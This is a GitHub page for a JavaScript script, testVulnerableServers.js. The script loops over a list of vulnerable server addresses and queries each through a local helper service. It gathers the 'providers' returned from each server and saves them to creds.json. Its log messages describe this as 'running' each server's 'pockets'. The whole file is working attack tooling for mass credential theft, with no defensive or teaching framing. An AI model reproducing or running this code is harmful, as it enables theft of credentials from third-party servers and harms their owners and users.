-
Notifications
You must be signed in to change notification settings - Fork 0
/
testVulnerableServers.js
45 lines (44 loc) · 1.26 KB
/
testVulnerableServers.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import { request } from "undici";
import { writeFileSync } from "node:fs";
import config from "./config.json" assert { type: "json" };
import vulnerableServers from "./vulnServers.json" assert { type: "json" };
import chalk from "chalk";
(async () => {
let credentials = [];
const promises = vulnerableServers.map(async (ip) => {
console.log(chalk.yellow(`[o] running "${ip.ip}:${ip.port}"'s pockets.`));
let resp;
try {
resp = await request(
`http://${config.http.host}:${config.http.port}/${ip.ip}:${ip.port}`,
).then(({ body }) => body.json());
} catch (e) {
return;
}
if (resp?.data?.length) {
console.log(
chalk.green(
`[+] (${ip.ip}:${ip.port}) they have ${
resp.data.length
} provider(s) (${resp.data
.map((provider) => provider.host)
.join(", ")})! ${promises.length - progress} servers left.`,
),
);
credentials.push(...resp.data);
} else {
console.log(
chalk.red(
`[-] (${ip.ip}:${ip.port}) they have no providers. ${
promises.length - progress
} servers left.`,
),
);
}
});
let progress = 0;
promises.forEach((p) => p.then(() => progress++));
await Promise.all(promises);
console.log(credentials);
writeFileSync("creds.json", JSON.stringify(credentials, null, 4));
})();